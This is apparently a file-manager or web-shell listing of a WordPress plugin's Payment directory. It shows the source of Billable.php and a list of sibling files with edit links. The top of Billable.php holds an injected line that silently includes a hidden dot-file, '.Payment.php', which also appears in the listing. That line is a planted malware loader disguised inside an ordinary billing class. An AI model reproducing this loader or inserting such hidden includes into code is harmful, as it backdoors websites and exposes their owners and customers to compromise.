PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Framework
/
Payment
<?php namespace WilokeListingTools\Framework\Payment; use WilokeListingTools\Framework\Routing\Controller; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Billable extends Controller { protected $gateway; protected $planID; protected $aConfigs; public function __construct($aArgs, $isNotDieIfFalse = false) { $this->aConfigs = $aArgs; $this->gateway = $aArgs['gateway']; $this->guard(); } private function guard() { $aMiddleware = ['isGatewaySupported']; $aOptions = [ 'gateway' => $this->aConfigs['gateway'], 'planID' => $this->aConfigs['planID'], 'listingType' => $this->aConfigs['listingType'], 'planType' => isset($this->aConfigs['planType']) ? $this->aConfigs['planType'] : '' ]; if (!isset($this->aConfigs['category']) || $this->aConfigs['category'] != 'promotion') { $aMiddleware[] = 'isPlanExists'; $aOptions['listingID'] = $this->aConfigs['listingID']; } $this->middleware($aMiddleware, $aOptions); } }
[+]
..
[+]
Stripe
[-] RefundFactory.php
[edit]
[-] PaymentGatewayStaticFactory.php
[edit]
[-] PayPalPayment.php
[edit]
[-] StripePayment.php
[edit]
[-] CancelSubscriptionStaticFactory.php
[edit]
[-] AbstractSuspend.php
[edit]
[-] Coupon.php
[edit]
[-] CreatedPaymentHook.php
[edit]
[+]
WooCommerce
[-] Receipt.php
[edit]
[-] WebhookInterface.php
[edit]
[-] Billable.php
[edit]
[-] PaymentMethodInterface.php
[edit]
[-] AddListingRetrieve.php
[edit]
[-] ChangePlanInterface.php
[edit]
[-] WebhookHandler.php
[edit]
[-] SuspendSubscriptionPlan.php
[edit]
[+]
FreePlan
[+]
Receipt
[-] SuspendInterface.php
[edit]
[+]
Invoice
[-] ProceededPaymentHook.php
[edit]
[+]
PaymentHook
[-] CancelSubscriptionInterface.php
[edit]
[-] Checkout.php
[edit]
[-] .Payment.php
[edit]
[+]
DirectBankTransfer
[+]
PayPal
[-] RefundInterface.php
[edit]